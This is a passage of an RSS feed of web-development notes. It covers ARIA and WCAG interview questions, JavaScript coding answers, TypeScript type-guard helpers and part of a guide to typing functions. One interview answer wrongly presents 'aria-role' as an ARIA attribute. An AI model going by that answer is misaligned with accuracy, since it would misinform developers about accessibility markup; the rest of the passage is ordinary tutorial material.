&lt;ol&gt;
&lt;li&gt;Do not change native semantics, unless you really have to.&lt;/li&gt;
&lt;li&gt;All interactive ARIA controls must be usable with the keyboard.&lt;/li&gt;
&lt;li&gt;Do not use role=&quot;presentation&quot; or aria-hidden=&quot;true&quot; on a focusable element .&lt;/li&gt;
&lt;li&gt;All interactive elements must have an accessible name.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/using-aria/#NOTES&quot;&gt;Notes on ARIA Use in HTML&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;What is the difference between &lt;code&gt;role&lt;/code&gt; and &lt;code&gt;aria-role&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;role&lt;/code&gt; is a native HTML attribute that is used to define the role of an element. Whereas, &lt;code&gt;aria-role&lt;/code&gt; is an ARIA attribute that is used to define the role of an element.&lt;/p&gt;
&lt;h3&gt;What is the difference between &lt;code&gt;aria-label&lt;/code&gt; and &lt;code&gt;aria-labelledby&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;aria-label&lt;/code&gt; is used to define a string that labels the current element. Whereas, &lt;code&gt;aria-labelledby&lt;/code&gt; is used to define the ID of an element that labels the current element.&lt;/p&gt;
&lt;h3&gt;What is WAI?&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/WAI/&quot;&gt;W3C Web Accessibility Initiative&lt;/a&gt; (WAI) develops standards and support materials to help you understand and implement accessibility.&lt;/p&gt;
&lt;h3&gt;What is WCAG?&lt;/h3&gt;
&lt;p&gt;Web Content Accessibility Guidelines (WCAG) 2 covers a wide range of recommendations for making Web content more accessible. Following these guidelines will make content accessible to a wider range of people with disabilities, including blindness and low vision, deafness and hearing loss, learning disabilities, cognitive limitations, limited movement, speech disabilities, photosensitivity and combinations of these. Following these guidelines will also often make your Web content more usable to users in general.&lt;/p&gt;
&lt;h4&gt;&lt;a href=&quot;https://www.w3.org/WAI/standards-guidelines/wcag/glance/&quot;&gt;WCAG Guidelines&lt;/a&gt;&lt;/h4&gt;
&lt;h5&gt;Perceivable&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Provide text alternatives for non-text content.&lt;/li&gt;
&lt;li&gt;Provide captions and other alternatives for multimedia.&lt;/li&gt;
&lt;li&gt;Create content that can be presented in different ways, including by assistive technologies, without losing meaning.&lt;/li&gt;
&lt;li&gt;Make it easier for users to see and hear content.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Operable&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Make all functionality available from a keyboard.&lt;/li&gt;
&lt;li&gt;Give users enough time to read and use content.&lt;/li&gt;
&lt;li&gt;Do not use content that causes seizures or physical reactions.&lt;/li&gt;
&lt;li&gt;Help users navigate and find content.&lt;/li&gt;
&lt;li&gt;Make it easier to use inputs other than keyboard.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Understandable&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Make text readable and understandable.&lt;/li&gt;
&lt;li&gt;Make content appear and operate in predictable ways.&lt;/li&gt;
&lt;li&gt;Help users avoid and correct mistakes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Robust&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Maximize compatibility with current and future user tools.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Further reading:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Accessibility principles: https://www.w3.org/WAI/fundamentals/accessibility-principles/&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Other questions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Are there any other technologies that you are interested in?&lt;/li&gt;
&lt;li&gt;How do you keep up to date with web trends?&lt;/li&gt;
&lt;li&gt;Are you working on any side-projects?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Practical Coding questions&lt;/h2&gt;
&lt;h3&gt;Write a &lt;code&gt;mul&lt;/code&gt; function which will produce the following outputs when invoked:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;console.log(mul(2)(3)(4)) // output : 24
console.log(mul(4)(3)(4)) // output : 48
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Below is the answer followed by an explanation to how it works:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function mul(x) {
  return function (y) {
    // anonymous function
    return function (z) {
      // anonymous function
      return x * y * z
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How to empty an array in JavaScript?&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;var arrayList = [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;, &apos;e&apos;, &apos;f&apos;]

// 1.
arrayList = []

// 2.
arrayList.length = 0

// 3.
arrayList.splice(0, arrayList.length)

// 4.
while (arrayList.length) {
  arrayList.pop()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Different ways to declare a function&lt;/h3&gt;
&lt;p&gt;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// function declaration
function name([param[, param[, ... param]]]) {
   statements
}

// function expression
function [name]([param[, param[, ... param]]]) {
   statements
}

// generator function
function* name([param[, param[, ... param]]]) {
   statements
}

// generator function expression
function* [name]([param[, param[, ... param]]]) {
   statements
}

// arrow function expression
([param[, param]]) =&amp;gt; {
   statements
}
param =&amp;gt; expression

// `Function` constructor
new Function (arg1, arg2, ... argN, functionBody)

// generator function constructor
new GeneratorFunction (arg1, arg2, ... argN, functionBody)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Constructor vs. declaration vs. expression&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// A function defined with the Function constructor assigned to the variable multiply:
var multiply = new Function(&apos;x&apos;, &apos;y&apos;, &apos;return x * y&apos;)

// A function declaration of a function named multiply:
function multiply(x, y) {
  return x * y
} // there is no semicolon here

// A function expression of an anonymous function assigned to the variable multiply:
var multiply = function (x, y) {
  return x * y
}

// A function expression of a function named func_name assigned to the variable multiply:
var multiply = function func_name(x, y) {
  return x * y
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>interview</category><category>questions</category><author>Zander Martineau</author></item><item><title>Type check helpers</title><link>https://zander.wtf/notes/type-check-helpers/</link><guid isPermaLink="true">https://zander.wtf/notes/type-check-helpers/</guid><description>Small functions that answer &quot;is this value a…?&quot; at runtime. Each one is a TypeScript type guard: it returns value is Type, so after an if (isString(x))…</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Small functions that answer &quot;is this value a…?&quot; at runtime. Each one is a TypeScript &lt;a href=&quot;/notes/typescript-type-guard/&quot;&gt;type guard&lt;/a&gt;: it returns &lt;code&gt;value is Type&lt;/code&gt;, so after an &lt;code&gt;if (isString(x))&lt;/code&gt; TypeScript knows &lt;code&gt;x&lt;/code&gt; is a string.&lt;/p&gt;
&lt;p&gt;All of these are also in my &lt;a href=&quot;https://github.com/mrmartineau/kit#type-checks&quot;&gt;kit package&lt;/a&gt;, with tests, so you can import them from &lt;code&gt;@mrmartineau/kit/utils&lt;/code&gt; instead of copying them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { isDefined, isPlainObject, isString } from &apos;@mrmartineau/kit/utils&apos;

const data: unknown = JSON.parse(localStorage.getItem(&apos;settings&apos;) ?? &apos;null&apos;)

if (isPlainObject(data) &amp;amp;&amp;amp; isString(data.theme)) {
  document.documentElement.dataset.theme = data.theme // data.theme: string
}

const ids = [1, null, 2, undefined].filter(isDefined) // number[]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use them on data you don&apos;t control: API responses, &lt;code&gt;JSON.parse&lt;/code&gt;, &lt;code&gt;localStorage&lt;/code&gt;, &lt;code&gt;postMessage&lt;/code&gt;, &lt;code&gt;catch&lt;/code&gt; errors. For whole objects from an API, a schema library (&lt;a href=&quot;https://zod.dev&quot;&gt;Zod&lt;/a&gt;, &lt;a href=&quot;https://valibot.dev&quot;&gt;Valibot&lt;/a&gt;) is usually better than a pile of these.&lt;/p&gt;
&lt;h2&gt;Why not just &lt;code&gt;typeof&lt;/code&gt;?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;typeof&lt;/code&gt; is fine for most primitives, but it has some well-known surprises:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;&lt;code&gt;typeof&lt;/code&gt; says&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;object&apos;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;object&apos;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new Date()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;object&apos;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NaN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;number&apos;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;class Foo {}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;function&apos;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;an undeclared variable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;undefined&apos;&lt;/code&gt; (no error)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The helpers below deal with each of these.&lt;/p&gt;
&lt;h2&gt;Primitives&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export const isString = (value: unknown): value is string =&amp;gt; typeof value === &apos;string&apos;

export const isBoolean = (value: unknown): value is boolean =&amp;gt; typeof value === &apos;boolean&apos;

export const isBigInt = (value: unknown): value is bigint =&amp;gt; typeof value === &apos;bigint&apos;

export const isSymbol = (value: unknown): value is symbol =&amp;gt; typeof value === &apos;symbol&apos;

export const isFunction = (value: unknown): value is (...args: unknown[]) =&amp;gt; unknown =&amp;gt;
  typeof value === &apos;function&apos;

type Primitive = string | number | bigint | boolean | symbol | null | undefined

export const isPrimitive = (value: unknown): value is Primitive =&amp;gt;
  value === null || (typeof value !== &apos;object&apos; &amp;amp;&amp;amp; typeof value !== &apos;function&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;isString&lt;/code&gt; and friends don&apos;t match wrapper objects like &lt;code&gt;new String(&apos;a&apos;)&lt;/code&gt;. Nobody should be making those.&lt;/p&gt;
&lt;h2&gt;Numbers&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;typeof NaN === &apos;number&apos;&lt;/code&gt;, so decide whether &lt;code&gt;NaN&lt;/code&gt; and &lt;code&gt;Infinity&lt;/code&gt; count. Usually they don&apos;t:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// any number, including NaN and Infinity
export const isNumber = (value: unknown): value is number =&amp;gt; typeof value === &apos;number&apos;

// a real, usable number: not NaN, not Infinity
export const isFiniteNumber = (value: unknown): value is number =&amp;gt;
  typeof value === &apos;number&apos; &amp;amp;&amp;amp; Number.isFinite(value)

export const isInteger = (value: unknown): value is number =&amp;gt; Number.isInteger(value)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;Number.isFinite&lt;/code&gt;, &lt;code&gt;Number.isInteger&lt;/code&gt; and &lt;code&gt;Number.isNaN&lt;/code&gt;, not the global &lt;code&gt;isFinite&lt;/code&gt; and &lt;code&gt;isNaN&lt;/code&gt;. The global ones convert the value first, so &lt;code&gt;isNaN(&apos;hello&apos;)&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt; and &lt;code&gt;isFinite(&apos;42&apos;)&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To check a string that should contain a number (a form field, a URL parameter), convert it first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const isNumericString = (value: unknown): value is string =&amp;gt;
  typeof value === &apos;string&apos; &amp;amp;&amp;amp; value.trim() !== &apos;&apos; &amp;amp;&amp;amp; Number.isFinite(Number(value))

isNumericString(&apos;42&apos;) // true
isNumericString(&apos;4.2e3&apos;) // true
isNumericString(&apos;&apos;) // false: Number(&apos;&apos;) is 0
isNumericString(&apos;12px&apos;) // false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;null&lt;/code&gt; and &lt;code&gt;undefined&lt;/code&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export const isNull = (value: unknown): value is null =&amp;gt; value === null

export const isUndefined = (value: unknown): value is undefined =&amp;gt; value === undefined

// null or undefined (&quot;nil&quot;)
export const isNil = (value: unknown): value is null | undefined =&amp;gt; value == null

// the opposite, and it keeps the rest of the type
export const isDefined = &amp;lt;T&amp;gt;(value: T): value is NonNullable&amp;lt;T&amp;gt; =&amp;gt; value != null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;value == null&lt;/code&gt; is the one place loose equality is the right choice: it&apos;s &lt;code&gt;true&lt;/code&gt; for &lt;code&gt;null&lt;/code&gt; and &lt;code&gt;undefined&lt;/code&gt; and nothing else.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;isDefined&lt;/code&gt; is the one you&apos;ll use most, often with &lt;code&gt;filter&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const ids = [1, null, 2, undefined, 3].filter(isDefined) // number[]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Objects&lt;/h2&gt;
&lt;p&gt;&quot;Object&quot; means different things, so there are three helpers.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// anything typeof calls &apos;object&apos;, minus null: arrays, dates, maps, class instances…
export const isObjectLike = (value: unknown): value is object =&amp;gt;
  typeof value === &apos;object&apos; &amp;amp;&amp;amp; value !== null

// an object with string keys, not an array
export const isObject = (value: unknown): value is Record&amp;lt;string, unknown&amp;gt; =&amp;gt;
  isObjectLike(value) &amp;amp;&amp;amp; !Array.isArray(value)

// only {} literals and Object.create(null): no arrays, dates, maps or class instances
export const isPlainObject = (value: unknown): value is Record&amp;lt;string, unknown&amp;gt; =&amp;gt; {
  if (!isObjectLike(value)) return false
  const proto = Object.getPrototypeOf(value)
  return proto === Object.prototype || proto === null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;&lt;code&gt;isObjectLike&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;isObject&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;isPlainObject&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{ a: 1 }&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.create(null)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new Date()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new Map()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new (class Foo {})()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Use &lt;code&gt;isPlainObject&lt;/code&gt; when you&apos;re about to go through the keys: merging settings, flattening nested objects (see &lt;a href=&quot;/notes/js-array-looping/#nested-objects&quot;&gt;Looping and iterating&lt;/a&gt;), deep-cloning JSON. A &lt;code&gt;Date&lt;/code&gt; or &lt;code&gt;Map&lt;/code&gt; has no useful keys and would be copied wrong.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;isPlainObject&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt; for a &lt;code&gt;{}&lt;/code&gt; made in an iframe, because that iframe has its own &lt;code&gt;Object.prototype&lt;/code&gt;. That rarely matters.&lt;/p&gt;
&lt;h3&gt;Does it have this key?&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;export const hasKey = &amp;lt;K extends PropertyKey&amp;gt;(value: unknown, key: K): value is Record&amp;lt;K, unknown&amp;gt; =&amp;gt;
  isObjectLike(value) &amp;amp;&amp;amp; Object.hasOwn(value, key)

if (hasKey(data, &apos;id&apos;) &amp;amp;&amp;amp; isString(data.id)) {
  data.id.toUpperCase()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Object.hasOwn&lt;/code&gt; only looks at the object&apos;s own keys. &lt;code&gt;key in value&lt;/code&gt; also finds inherited ones, like &lt;code&gt;toString&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Arrays&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export const isArray = (value: unknown): value is unknown[] =&amp;gt; Array.isArray(value)

// an array where every item passes a check
export const isArrayOf = &amp;lt;T&amp;gt;(value: unknown, check: (item: unknown) =&amp;gt; item is T): value is T[] =&amp;gt;
  Array.isArray(value) &amp;amp;&amp;amp; value.every(check)

isArrayOf([&apos;a&apos;, &apos;b&apos;], isString) // true
isArrayOf([&apos;a&apos;, 1], isString) // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Always &lt;code&gt;Array.isArray&lt;/code&gt;, never &lt;code&gt;instanceof Array&lt;/code&gt;. See &lt;a href=&quot;/notes/check-if-js-array/&quot;&gt;Check if value is array&lt;/a&gt; for why.&lt;/p&gt;
&lt;h2&gt;Built-in objects&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// a Date that holds a real date, not new Date(&apos;nonsense&apos;)
export const isValidDate = (value: unknown): value is Date =&amp;gt;
  value instanceof Date &amp;amp;&amp;amp; !Number.isNaN(value.getTime())

export const isRegExp = (value: unknown): value is RegExp =&amp;gt; value instanceof RegExp

export const isMap = (value: unknown): value is Map&amp;lt;unknown, unknown&amp;gt; =&amp;gt; value instanceof Map

export const isSet = (value: unknown): value is Set&amp;lt;unknown&amp;gt; =&amp;gt; value instanceof Set

export const isError = (value: unknown): value is Error =&amp;gt; value instanceof Error
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;new Date(&apos;nonsense&apos;)&lt;/code&gt; is still a &lt;code&gt;Date&lt;/code&gt;, so &lt;code&gt;instanceof Date&lt;/code&gt; alone isn&apos;t enough. It&apos;s an &quot;Invalid Date&quot; whose &lt;code&gt;getTime()&lt;/code&gt; is &lt;code&gt;NaN&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Error.isError(value)&lt;/code&gt; is a newer built-in that also works for errors from other realms, like iframes. Check browser support before you rely on it. See &lt;a href=&quot;/notes/typescript-catch/&quot;&gt;typing &lt;code&gt;catch&lt;/code&gt; errors&lt;/a&gt; for using &lt;code&gt;isError&lt;/code&gt; in a &lt;code&gt;catch&lt;/code&gt; block.&lt;/p&gt;
&lt;h2&gt;Promises and iterables&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// anything with a .then method: real promises and &quot;thenables&quot; from other libraries
export const isPromiseLike = (value: unknown): value is PromiseLike&amp;lt;unknown&amp;gt; =&amp;gt;
  isObjectLike(value) &amp;amp;&amp;amp; typeof (value as { then?: unknown }).then === &apos;function&apos;

// arrays, strings, Maps, Sets, NodeLists…: anything for...of can loop over
export const isIterable = (value: unknown): value is Iterable&amp;lt;unknown&amp;gt; =&amp;gt;
  value != null &amp;amp;&amp;amp; typeof (value as { [Symbol.iterator]?: unknown })[Symbol.iterator] === &apos;function&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;isIterable(&apos;abc&apos;)&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, because strings are iterable. Check &lt;code&gt;!isString(value)&lt;/code&gt; as well if you want collections only.&lt;/p&gt;
&lt;h2&gt;Empty values&lt;/h2&gt;
&lt;p&gt;&quot;Empty&quot; depends on the type, so one helper handles each:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const isEmpty = (value: unknown): boolean =&amp;gt; {
  if (value == null) return true
  if (typeof value === &apos;string&apos; || Array.isArray(value)) return value.length === 0
  if (value instanceof Map || value instanceof Set) return value.size === 0
  if (isPlainObject(value)) return Object.keys(value).length === 0
  return false
}

isEmpty(&apos;&apos;) // true
isEmpty([]) // true
isEmpty({}) // true
isEmpty(new Map()) // true
isEmpty(0) // false: 0 is a value, not &quot;empty&quot;
isEmpty(new Date()) // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;isEmpty(&apos; &apos;)&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;. Use &lt;code&gt;value.trim() === &apos;&apos;&lt;/code&gt; if spaces should count as empty. For the single-type versions, see &lt;a href=&quot;/notes/check-if-js-array-empty/&quot;&gt;Check if JavaScript array is empty&lt;/a&gt; and &lt;a href=&quot;/notes/check-if-js-object-empty/&quot;&gt;Check if JavaScript object is empty&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Putting them together&lt;/h2&gt;
&lt;p&gt;The helpers combine into checks for whole objects:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type User = { id: number; name: string; tags: string[] }

export const isUser = (value: unknown): value is User =&amp;gt;
  isPlainObject(value) &amp;amp;&amp;amp;
  isFiniteNumber(value.id) &amp;amp;&amp;amp;
  isString(value.name) &amp;amp;&amp;amp;
  isArrayOf(value.tags, isString)

const data: unknown = await res.json()
if (!isUser(data)) throw new Error(&apos;Unexpected response&apos;)
data.tags.join(&apos;, &apos;) // data: User
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Past three or four fields, this is where a schema library pays off: you write the shape once and get both the check and the type.&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;Object.prototype.toString&lt;/code&gt; trick&lt;/h2&gt;
&lt;p&gt;Older libraries check types with this, because it gives a precise name for built-ins:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const typeName = (value: unknown) =&amp;gt; Object.prototype.toString.call(value).slice(8, -1)

typeName([]) // &apos;Array&apos;
typeName(null) // &apos;Null&apos;
typeName(new Date()) // &apos;Date&apos;
typeName(/x/) // &apos;RegExp&apos;
typeName(new Map()) // &apos;Map&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any object can change its answer with &lt;code&gt;Symbol.toStringTag&lt;/code&gt;, so it can be tricked. Prefer the specific helpers above.&lt;/p&gt;
</content:encoded><category>javascript</category><category>typescript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>TypeScript functions</title><link>https://zander.wtf/notes/typescript-functions/</link><guid isPermaLink="true">https://zander.wtf/notes/typescript-functions/</guid><description>How to type functions in TypeScript: parameters, return types, callbacks, generics, overloads and more. Parameters and return types TypeScript always needs…</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;How to type functions in TypeScript: parameters, return types, callbacks, generics, overloads and more.&lt;/p&gt;
&lt;h2&gt;Parameters and return types&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function add(a: number, b: number): number {
  return a + b
}

const multiply = (a: number, b: number): number =&amp;gt; a * b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;TypeScript always needs parameter types. It &lt;strong&gt;infers&lt;/strong&gt; the return type, so you can often leave it out. Write it anyway when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the function is exported (the type is part of your public API, and a change to the body can&apos;t silently change it)&lt;/li&gt;
&lt;li&gt;the function is recursive (TypeScript can&apos;t infer it)&lt;/li&gt;
&lt;li&gt;you want an error inside the function if you return the wrong thing, rather than at every caller&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Optional, default and rest parameters&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string, greeting?: string) {
  // greeting: string | undefined
  return `${greeting ?? &apos;Hello&apos;}, ${name}`
}

function greet2(name: string, greeting = &apos;Hello&apos;) {
  // greeting: string (inferred from the default)
  return `${greeting}, ${name}`
}

function sum(...numbers: number[]) {
  return numbers.reduce((total, n) =&amp;gt; total + n, 0)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Optional parameters must come after the required ones.&lt;/p&gt;
&lt;h3&gt;Destructured parameters&lt;/h3&gt;
&lt;p&gt;The type goes after the whole pattern, not inside it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ButtonProps = { label: string; disabled?: boolean }

function Button({ label, disabled = false }: ButtonProps) {
  // …
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;{ label: string }&lt;/code&gt; inside a destructuring pattern would &lt;strong&gt;rename&lt;/strong&gt; &lt;code&gt;label&lt;/code&gt; to a variable called &lt;code&gt;string&lt;/code&gt;. That&apos;s JavaScript syntax, not a type.&lt;/p&gt;
&lt;h2&gt;Function types&lt;/h2&gt;
&lt;p&gt;Describe a function&apos;s shape with an arrow-like type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Formatter = (value: number) =&amp;gt; string

const toPounds: Formatter = (value) =&amp;gt; `£${value.toFixed(2)}` // value: number, inferred

function formatAll(values: number[], format: Formatter) {
  return values.map(format)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With an interface, use a call signature. This also lets the function have properties:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Counter {
  (): number // callable
  reset: () =&amp;gt; void // and has a property
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;void&lt;/code&gt; vs &lt;code&gt;undefined&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;A function type that returns &lt;code&gt;void&lt;/code&gt; means &quot;the return value is ignored&quot;, &lt;strong&gt;not&lt;/strong&gt; &quot;returns nothing&quot;. So a callback typed &lt;code&gt;() =&amp;gt; void&lt;/code&gt; may still return something:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const list: number[] = []
;[1, 2, 3].forEach((n) =&amp;gt; list.push(n)) // fine: push returns a number, forEach ignores it
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A function &lt;strong&gt;declaration&lt;/strong&gt; with &lt;code&gt;: void&lt;/code&gt; must not return a value. Use &lt;code&gt;: undefined&lt;/code&gt; only when callers need the actual &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;never&lt;/code&gt;: functions that don&apos;t return&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function fail(message: string): never {
  throw new Error(message)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a call to a &lt;code&gt;never&lt;/code&gt; function, TypeScript knows the code below it can&apos;t run. That&apos;s useful for narrowing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function getPort(value: string | undefined) {
  const port = value ?? fail(&apos;PORT is not set&apos;)
  return Number(port) // port: string
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Generics&lt;/h2&gt;
&lt;p&gt;A generic function works with many types while keeping the link between input and output. The type parameter (&lt;code&gt;T&lt;/code&gt;) is like a function parameter, but for types.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function first&amp;lt;T&amp;gt;(items: T[]): T | undefined {
  return items[0]
}

first([1, 2, 3]) // number | undefined
first([&apos;a&apos;, &apos;b&apos;]) // string | undefined
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without generics you&apos;d write &lt;code&gt;any[]&lt;/code&gt; and lose the type, or write one function per type.&lt;/p&gt;
&lt;h3&gt;Constraints: &lt;code&gt;extends&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Limit what &lt;code&gt;T&lt;/code&gt; can be, so you can use its properties:&lt;/p&gt;
